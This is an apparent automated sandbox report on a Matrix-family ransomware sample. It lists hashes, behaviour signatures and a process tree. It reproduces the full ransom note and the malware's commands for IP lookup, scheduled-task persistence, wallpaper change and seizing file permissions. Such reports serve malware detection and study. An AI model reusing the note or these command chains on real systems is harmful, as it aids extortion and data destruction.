Resubmissions
03-04-2024 17:37
240403-v68g6sga2w 10Analysis
-
max time kernel
149s -
max time network
127s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
-
submitted
03-04-2024 17:37
General
-
Target
FoxRansomware/42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
-
Size
1.2MB
-
MD5
268360527625d09e747d9f7ab1f84da5
-
SHA1
09772eb89c9743d3a6d7b2709c76e9740aa4c4b1
-
SHA256
42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620
-
SHA512
07fba0c06040fe4ef5f812a52d639bdea6cbe5bf7ff4560403ad12955e6b1ff2b4615361ac4533696a6c5e12d36fb2d2e0df3da2927f6b45f154f0a4e83315e1
-
SSDEEP
24576:mLeb4QFvTn5TuJR5ezGPMy4EnBB/CPVd+5M89H:Xb/GMO6d+5M+H
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
http://myexternalip.com/raw
Extracted
Path
C:\Program Files\Google\Chrome\Application\#FOX_README#.rtf
Ransom Note
{\rtf1\ansi\ansicpg1251\deff0\nouicompat\deflang1049{\fonttbl{\f0\fnil\fcharset0 Calibri;}{\f1\fnil\fcharset204 Calibri;}}
{\colortbl ;\red255\green0\blue0;\red0\green77\blue187;\red0\green176\blue80;\red0\green0\blue255;\red255\green255\blue255;}
{\*\generator Riched20 10.0.15063}\viewkind4\uc1
\pard\ri-500\sa200\sl240\slmult1\qc\tx8804\ul\b\f0\fs28\lang1033 HOW TO RECOVER YOUR FILES INSTRUCTION\ulnone\f1\lang1049\par
\pard\ri-74\sl240\slmult1\tx8378\cf1\f0\fs24\lang1033 ATENTION!!!\par
\cf0\b0 We are realy sorry to inform you that \b ALL YOUR FILES WERE ENCRYPTED \par
\b0 by our automatic software. It became possible because of bad server security. \par
\cf1\b ATENTION!!!\par
\cf0\b0 Please don't worry, we can help you to \b RESTORE\b0 your server to original\par
state and decrypt all your files quickly and safely!\par
\b\par
\cf2 INFORMATION!!!\par
\cf0\b0 Files are not broken!!!\par
Files were encrypted with AES-128+RSA-2048 crypto algorithms.\par
There is no way to decrypt your files without unique decryption key and special software. Your unique decryption key is securely stored on our server. For our safety, all information about your server and your decryption key will be automaticaly \b DELETED AFTER 7 DAYS! \b0 You will irrevocably lose all your data!\par
\i * Please note that all the attempts to recover your files by yourself or using third party tools will result only in irrevocable loss of your data!\par
* Please note that you can recover files only with your unique decryption key, which stored on our side. If you will use the help of third parties, you will only add a middleman.\f1\lang1049\par
\i0\f0\lang1033\par
\cf3\b HOW TO RECOVER FILES???\par
\cf0\b0 Please write us to the e-mail \i (write on English or use professional translator)\i0 :\par
\pard\sl240\slmult1\b\fs28 [email protected] \par
[email protected]\par
[email protected]\cf1\fs24\par
You have to send your message on each of our 3 emails\f1\lang1049 \f0\lang1033 due to the fact that the message may not reach their intended recipient for a variety of reasons!\fs28\par
\pard\ri-74\sl240\slmult1\tx8378\cf0\b0\fs24 \par
In subject line write your personal ID:\par
\b\fs28 7806663DF58A30EA\par
\b0\fs24 We recommed you to attach 3 encrypted files to your message. We will demonstrate that we can recover your files. \f1\lang1049\par
\i * \f0\lang1033 \f1\lang1049 \f0\lang1033 Please note that files must not contain any valuable information and their total size must be less than 5Mb. \par
\i0\par
\cf1\b OUR ADVICE!!!\par
\cf0\b0 Please be sure that we will find common languge. We will restore all the data and give you recommedations how to configure the protection of your server.\par
\ul\b\par
We will definitely reach an agreement ;) !!!\b0\par
\ulnone\par
\fs20 \par
\par
\par
\par
\par
\par
\par
\pard\ri-74\sl240\slmult1\qc\tx8378\b\fs24 ALTERNATIVE COMMUNICATION\par
\b0\fs20\par
\pard\ri-74\sl240\slmult1\tx8378 \f1\lang1049 If y\'eeu did n\'eet r\'e5c\'e5iv\'e5 th\'e5 \'e0nsw\'e5r fr\'eem th\'e5 \'e0f\'eer\'e5cit\'e5d \'e5m\'e0il\f0\lang1033 s\f1\lang1049 f\'eer m\'eer\'e5 th\f0\lang1033 e\f1\lang1049 n \f0\lang1033 24\f1\lang1049 h\f0\lang1033 o\f1\lang1049 urs\f0\lang1033 please s\f1\lang1049\'e5\f0\lang1033 nd us Bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 s fr\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r thr\f1\lang1049\'ee\f0\lang1033 ugh th\f1\lang1049\'e5\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 bp\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 {{\field{\*\fldinst{HYPERLINK https://bitmsg.me }}{\fldrslt{https://bitmsg.me\ul0\cf0}}}}\f0\fs20 . B\f1\lang1049\'e5\f0\lang1033 l\f1\lang1049\'ee\f0\lang1033 w is \f1\lang1049\'e0\f0\lang1033 tut\f1\lang1049\'ee\f0\lang1033 ri\f1\lang1049\'e0\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 n h\f1\lang1049\'ee\f0\lang1033 w t\f1\lang1049\'ee\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nd bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 vi\f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r:\par
1. \f1\lang1049\'ce\f0\lang1033 p\f1\lang1049\'e5\f0\lang1033 n in y\f1\lang1049\'ee\f0\lang1033 ur br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r th\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_up }}{\fldrslt{https://bitmsg.me/users/sign_up\ul0\cf0}}}}\f0\fs20 \f1\lang1049\'e0\f0\lang1033 nd m\f1\lang1049\'e0\f0\lang1033 k\f1\lang1049\'e5\f0\lang1033 th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n b\f1\lang1049\'f3\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 ring n\f1\lang1049\'e0\f0\lang1033 m\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd.\par
2. \f1\lang1049\'d3\'ee\f0\lang1033 u must c\f1\lang1049\'ee\f0\lang1033 nfirm th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n, r\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd f\f1\lang1049\'ee\f0\lang1033 ll\f1\lang1049\'ee\f0\lang1033 w th\f1\lang1049\'e5\f0\lang1033 instructi\f1\lang1049\'ee\f0\lang1033 ns th\f1\lang1049\'e0\f0\lang1033 t w\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nt t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 u.\par
3. R\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 sit\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e0\f0\lang1033 nd \f1\lang1049\'f1\f0\lang1033 lick \f1\lang1049 "\f0\lang1033 L\f1\lang1049\'ee\f0\lang1033 gin\f1\lang1049 "\f0\lang1033 l\f1\lang1049\'e0\f0\lang1033 b\f1\lang1049\'e5\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 r us\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_in }}{\fldrslt{https://bitmsg.me/users/sign_in\ul0\cf0}}}}\f0\fs20 , \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd \f1\lang1049\'e0\f0\lang1033 nd click th\f1\lang1049\'e5\f0\lang1033 "Sign in" butt\f1\lang1049\'ee\f0\lang1033 n. \f1\lang1049 \f0\lang1033\par
4. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "\f1\lang1049\'d1\f0\lang1033 r\f1\lang1049\'e5\'e0\f0\lang1033 t\f1\lang1049\'e5\f0\lang1033 R\f1\lang1049\'e0\f0\lang1033 nd\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss" butt\f1\lang1049\'ee\f0\lang1033 n.\par
5. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "N\f1\lang1049\'e5\f0\lang1033 w m\f1\lang1049\'e0\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\par
\b 6. S\f1\lang1049\'e5\f0\lang1033 nding m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 :\par
T\f1\lang1049\'ee\f0\lang1033 :\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss: \b BM-2cXRWRW5Jv5hxbhgu2HJSJrtPf92iKshhm\par
\pard\sl240\slmult1 Subj\f1\lang1049\'e5\'f1\f0\lang1033 t:\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur ID: \b 7806663DF58A30EA\par
M\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 : \b0 D\f1\lang1049\'e5\f0\lang1033 scrib\f1\lang1049\'e5\f0\lang1033 wh\f1\lang1049\'e0\f0\lang1033 t \f1\lang1049\'f3\'ee\f0\lang1033 u think n\f1\lang1049\'e5\f0\lang1033 c\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 r\f1\lang1049\'f3\f0\lang1033 .\par
\pard\ri-74\sa200\sl240\slmult1\tx8378\f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "S\f1\lang1049\'e5\f0\lang1033 nd m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\cf5\b\par
\pard\sa200\sl240\slmult1\fs28 6RiFb9Mx\cf0\f1\fs32\lang1049\par
\par
}
Emails
URLs
https://bitmsg.me
https://bitmsg.me/users/sign_up
https://bitmsg.me/users/sign_in
Signatures
-
Matrix Ransomware 64 IoCs
Targeted ransomware with information collection and encryption functionality.
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
-
Blocklisted process makes network request 1 IoCs
-
Drops file in Drivers directory 1 IoCs
-
Sets service image path in registry 2 TTPs 1 IoCs
-
Executes dropped EXE 64 IoCs
-
Loads dropped DLL 64 IoCs
-
Modifies file permissions 1 TTPs 64 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Drops desktop.ini file(s) 40 IoCs
-
Enumerates connected drives 3 TTPs 44 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
-
Drops file in Program Files directory 64 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
-
Suspicious behavior: LoadsDriver 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe"1⤵
- Matrix Ransomware
- Loads dropped DLL
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe" "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWJADauI.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWJADauI.exe"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWJADauI.exe" -n2⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\1T6dlbXS.txt"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\5iAjrOSD.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\5iAjrOSD.bmp" /f3⤵
- Sets desktop wallpaper using registry
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f3⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\mM4C0Yfc.vbs"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\wscript.exewscript //B //Nologo "C:\Users\Admin\AppData\Roaming\mM4C0Yfc.vbs"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\OfP7QNh1.bat" /sc minute /mo 5 /RL HIGHEST /F4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\OfP7QNh1.bat" /sc minute /mo 5 /RL HIGHEST /F5⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /I /tn DSHCA5⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "AdobeID.pdf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "AdobeID.pdf" -nobanner4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\NDS5iFeg64.exeNDS5iFeg.exe -accepteula "AdobeID.pdf" -nobanner5⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Executes dropped EXE
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "DefaultID.pdf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "DefaultID.pdf" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "Dynamic.pdf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "Dynamic.pdf" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "StandardBusiness.pdf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "StandardBusiness.pdf" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "SignHere.pdf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "SignHere.pdf" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "ENUtxt.pdf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "ENUtxt.pdf" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "classes.jsa" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "classes.jsa" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\adobepdf.xdc""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\adobepdf.xdc" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\adobepdf.xdc"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "adobepdf.xdc" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "adobepdf.xdc" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\distribute_form.gif""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\distribute_form.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\distribute_form.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "distribute_form.gif" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "distribute_form.gif" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\main.css""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\main.css" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\main.css"3⤵
